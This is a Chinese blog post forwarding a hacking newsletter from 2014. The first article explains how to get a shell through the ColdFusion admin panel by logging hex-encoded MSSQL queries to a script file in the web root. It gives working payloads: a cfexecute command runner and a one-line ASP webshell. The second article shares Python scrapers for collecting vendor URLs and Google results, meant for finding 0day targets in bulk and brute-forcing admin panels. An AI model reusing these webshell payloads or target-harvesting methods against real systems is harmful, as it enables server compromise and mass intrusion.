搜索此博客

2014年5月23日星期五

Fwd: ColdFusion 后台 GetShell

---------- 转发的邮件 ----------
发件人:"黑客技术" <hackdig@foxmail.com>
日期:2014年5月24日 下午12:26
主题:ColdFusion 后台 GetShell
收件人: <sunkeel@gmail.com>
抄送:

本邮件内容由第三方提供,如果您不想继续收到该邮件,可 点此退订
ColdFusion 后台 GetShell  阅读原文»

COLDFUSION后台getshelll常见的方法就是添加计划任务,COLDFUSION(CVE-2010-2861) 本地包含利用方法drops里面也写了一种方法,但是这2中方法唯一缺点就是当web服务器无法对外访问时以上方法就失效了。所以来介绍一个当web服务器无法对外连接的geshell的方法。

老外写过一篇coldfusion后台getshell的方法,http://breenmachine.blogspot.com/2013/03/cool-coldfusion-post-exploitation.html。原理就是通过coldfusion后台数据源里面的查询功能来getshell,这里以mssql为例。

选择一个数据源,点开高级设置,勾选Log Activity ,指定日志文件到web目录下,并且可以自定义后缀名,懂了吧,这里是关键。查询语句,先贴老外的poc。

SELECT CAST( (SELECT TOP 1 (SELECT CAST(0x3c636665786563757465206e616d653d22633a5c77696e646f77735c73797374656d33325c636d642e6578652220617267756d656e74733d222f632064697222207661726961626c653d2264617461222074696d656f75743d22313022202f3e3c636664756d70207661723d22236461746123223e AS VARCHAR(4000)))) AS int)

我们转下码来看下,hex部分即为

<cfexecute name="c:windowssystem32cmd.exe" arguments="/c dir" variable="data" timeout="10" /><cfdump var="#data#">

整个sql连接起来就是利用了性质类型mssql error based的注入技术,hex编码了,coldfusion的过滤器就失效了(coldfusion过滤器会过滤尖括号),转换为int的时候当然要报错,写进了日志文件,而日志文件又是可执行的脚本文件,O(∩_∩)O~。可是有没有觉得这个poc有点不给力?只能执行个cmd什么的,要是整个菜刀shell多好,是的,可以的,coldfusion一般会和iis或者apache整合,所以可以写个asp或者php的shell,然后为了提升权限可以再写个cfm的shell。只要将一句话

<%eval request("caidao")%>

给转成hex,然后按照上面poc的格式语句来查询下,

SELECT CAST( (SELECT TOP 1 (SELECT CAST(0x3C256576616C2072657175657374282263616964616F2229253E AS VARCHAR(4000)))) AS int)

shell就到手了。

并且里面还会爆数据库账号密码哟。

[原文地址]

相关讨论:

1#

hacker@sina.cn | 2014-05-23 22:08

先顶再说 感谢分享

2#

DM_ (http://x0day.me) | 2014-05-23 22:35

不是可以后台添加任务远程下载webshell的么?

3#

milk | 2014-05-23 22:42

很赞的思路,先mark,之后找个测试一下

4#

if、so (no talk,but shell!!) | 2014-05-23 22:59

@DM_ 万一web服务器上不了网了,或者在dmz里面,不能对外连接


黑客技术官网地址:http://www.hackdig.com/

python爬取所有厂商url&python爬取Google搜索结果产生的猥琐想法  阅读原文»

一直有这么一个想法。当得到某0day,我怎样才能最快知道在某大厂商的任意子域名、任意端口下是否存在此漏洞。

于是猥琐的想法就产生了,首先得到乌云所有厂商的url,然后再逐个得到所有厂商的子域名,然后就是端口信息,cms静态文件以及各种包含某特征的url,如action、do、upload...

最后整理成一个数据库,这个数据库可以达到如下效果:

1.如最近dz又出漏洞了,我只要搜索dz,就能查找出全部厂商里有哪些在使用dz,包括所有的子域名

2.如搜索后台,就能直接每天批量爆破各大厂商的后台

..

还有很多猥琐想法,暂时表达不出来。

其实已经有人做了类似的事

http://fofa.so

http://websth.com

http://websth.com

http://fofa.so

百度是DZ?为什么之前出0day没有拿下百度?哈~~~

好像偏题了..

表示我是新手,代码是之前某个脚本改的.

import urllib2
import sgmllib
class LinksParser(sgmllib.SGMLParser):
urls = []
def do_a(self, attrs):
for name, value in attrs:
if name == 'href' and value not in self.urls:
if value.startswith('http'):
self.urls.append(value)
print value
else:
continue
return

def get_url(uu):
p = LinksParser()
u = uu
f = urllib2.urlopen(u)
value = f.read()
p.feed(value)
for url in p.urls:
print url
f.close()
p.close()

if __name__ == "__main__":
for x in xrange(1,28):
s = str(x)
get_url('http://wooyun.org/corps/page/'+s)

运行效果:

运行效果

爬取Google搜索结果:

#coding=utf-8
import urllib2,urllib
import simplejson

seachstr = 'site:qq.com'

for x in range(10):
print "page:%s"%(x+1)
page = x * 8

url = ('https://ajax.googleapis.com/ajax/services/search/web'
'?v=1.0&q=%s&rsz=8&start=%s') % (urllib.quote(seachstr),page)
try:
request = urllib2.Request(
url, None, {'Referer': 'http://www.google.com.hk'})
response = urllib2.urlopen(request)

results = simplejson.load(response)
infoaaa = results['responseData']['results']
except Exception,e:
print e
print url
else:
for minfo in infoaaa:
print minfo['url']

运行效果:

运行效果

这里有一个问题,希望大神能帮解决。

当你运行这个脚本,会发现取到第9页就会报一个错误,一开始以为是代码错误,后来才知道这个接口只能取64条数据,这让那些追求极致的人很闹心啊,我才不会满足64条~~

弱弱的说一句,我以前从来没抓取过Google,抓取也是随便测试一下,一般都是抓一两个页面就不玩了。

然后我天真的直接这样抓取https://www.google.com.hk/search?hl=zh-CN&source=hp&q=xss

突然发现根本无法得到这个搜索结果,然后我觉得我代码错了,可是我把url换成百度的又正常了。

然后问了度娘和GG,才知道它的搜索内容全部在JS里,又要用到WebKit模拟运行执行它..表示不懂。

[原文地址]

各种吐槽:

1#

YY-2012 (那痛,谁懂?) | 2014-05-23 15:13

球厂商网址。。

2#

YY-2012 (那痛,谁懂?) | 2014-05-23 15:14

好人一生平安。。

3#

jeary ((:?办么怎,了多越来越法方象抽的我)) | 2014-05-23 15:14

@YY-2012 自己运行一遍- -.

4#

点点 (http://t.qq.com/ox_diandi) | 2014-05-23 15:17

貌似谷歌 查询 有限制 你用必应吧

5#

c4bbage (出售 weisuo.org) | 2014-05-23 15:18

root@weisuo:~# theharvester -d baidu.com -b all -l 500

6#

scanf (学习) | 2014-05-23 15:20

求dz最新0day

7#

random_ (精神的最高境界是自由) | 2014-05-23 15:29

http://fofa.so/search/result?page=%22

8#

jeary ((:?办么怎,了多越来越法方象抽的我)) | 2014-05-23 15:31

@random_ 大牛拿下了分享裤子给我~~

9#

0x_Jin (世上人多心不齐) | 2014-05-23 15:56

@jeary 用Node.js吧 能解析html 然后直接从元素里拿值就好了~ 我就用Node.js写的

Node.js

10#

jeary ((:?办么怎,了多越来越法方象抽的我)) | 2014-05-23 16:02

@0x_Jin py都没玩熟,又在坑我去学Node..

11#

蟋蟀哥哥 () | 2014-05-23 16:03

其实哥老早就想做这个事情了。。。

12#

hack | 2014-05-23 16:20

@jeary 求大神Q....

13#

叽叽歪歪 (?) | 2014-05-23 16:32

http://websth.com/ 这个思路才是赞啊。集大家的智慧收集各个网站指纹。

14#

寂寞的瘦子 (LISP异教徒) | 2014-05-23 16:44

@jeary 来来来,学习lisp,让你的抽象方法更加高级抽象化

15#

从容 (快点交出0day,我保证不砍死你- -.) | 2014-05-23 17:39

好思路!

够猥琐!

赞一个!

⊙▽⊙

16#

jeary ((:?办么怎,了多越来越法方象抽的我)) | 2014-05-23 17:42

@寂寞的瘦子 都在坑我。

17#

jeary ((:?办么怎,了多越来越法方象抽的我)) | 2014-05-23 17:43

@hack QQ查找root#jeary.org即可

18#

7dscan | 2014-05-23 17:49

就是厂商版的shodan吗。。。

19#

龙臣 (你站住了标准,你就成为了标准。) | 2014-05-23 19:16

mark

20#

tnt1200 (%0a%0a%0a%0a) | 2014-05-23 19:35

可以试试splinter

一个WebKit动态爬虫框架,需要配合本机具体WebKit引擎使用,来模拟浏览器行为,进行DOM动态解析,Ajax解析等等,Python封装,支持Chrome,FireFox等浏览器,同时也支持无界面的Webkit引擎Phantomjs,本爬虫动态解析部分使用。

21#

Bloodwolf (little wolf) | 2014-05-23 20:02

其实可以实现利用BING接口全网段IP反查,然后google利用轮换代理搜索抓取链接!话说已经做了,BING真贵。。


黑客技术官网地址:http://www.hackdig.com/

阅读更多内容

没有评论: